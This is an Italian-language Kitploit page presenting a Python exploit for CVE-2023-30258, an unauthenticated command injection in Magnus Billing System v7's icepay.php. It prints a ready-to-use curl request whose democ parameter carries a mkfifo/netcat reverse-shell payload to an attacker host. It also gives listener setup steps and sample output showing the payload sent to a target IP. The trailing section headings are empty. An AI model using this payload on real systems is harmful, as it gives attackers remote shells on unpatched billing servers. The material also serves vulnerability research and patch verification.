CVE-2023-30258-magnus-billing-v7-exploit — Exploit Python automatizzato per CVE-2023-30258, una iniezione di comandi in Magnus Billing System v7. Invia una richiesta GET appositamente modificata a icepay.php per eseguire comandi arbitrari e stabilire una reverse shell. | Kitploit

Exploit di Magnus Billing System v7

Questo script Python automatizza lo sfruttamento di una vulnerabilità di iniezione di comandi in Magnus Billing System v7, in particolare nello script icepay.php situato in /mbilling/lib/icepay/icepay.php. L'exploit sfrutta il parametro democ per eseguire comandi arbitrari sul sistema target, stabilendo infine una reverse shell verso una macchina controllata dall'attaccante.

Panoramica della vulnerabilità

La vulnerabilità permette l'iniezione di comandi non autenticata tramite una richiesta GET costruita ad arte. La prova di concetto (PoC) originale utilizzava il seguente comando curl:

curl -s 'http://<TARGET_IP>/mbilling/lib/icepay/icepay.php' --get --data-urlencode 'democ=;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <ATTACKER_IP> <PORT> >/tmp/f;'

Questo script automatizza tale processo, rendendolo configurabile tramite argomenti da riga di comando.

Caratteristiche

Python 3.x: Assicurati che Python 3 sia installato sul sistema
Libreria Requests: Installa il modulo Python requests:
```
pip install requests
```
Netcat: Il sistema target deve avere netcat (nc) installato affinché la reverse shell funzioni
Listener: Imposta un listener netcat sulla macchina attaccante per catturare la reverse shell
Target vulnerabile: Il target deve eseguire Magnus Billing System v7 con lo script icepay.php vulnerabile accessibile

Clona o scarica: Salva lo script come exploit.py
Imposta il listener: Sulla macchina attaccante, avvia un listener netcat:
```
nc -lvnp <PORT>
```
Sostituisci <PORT> con la porta scelta (ad es. 443)

=== Magnus Billing System v7 Exploit ===
Command Injection via icepay.php - Reverse Shell
=======================================
[+] Targeting: http://10.10.160.86/mbilling/lib/icepay/icepay.php
[+] Attacker: 10.8.64.79:443
[+] Sending payload: ;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.8.64.79 443 >/tmp/f;
[+] Richiesta inviata con successo!
[*] Controlla il tuo listener netcat (ad es. 'nc -lvnp 443') per una shell.

CVE-2023-30258-magnus-billing-v7-exploit

Più Popolari

Prerequisiti

Utilizzo

Configurazione

Esecuzione dell'exploit

Esempio

Note tecniche

Risoluzione dei problemi

Considerazioni sulla sicurezza

Disclaimer

Licenza

Contributi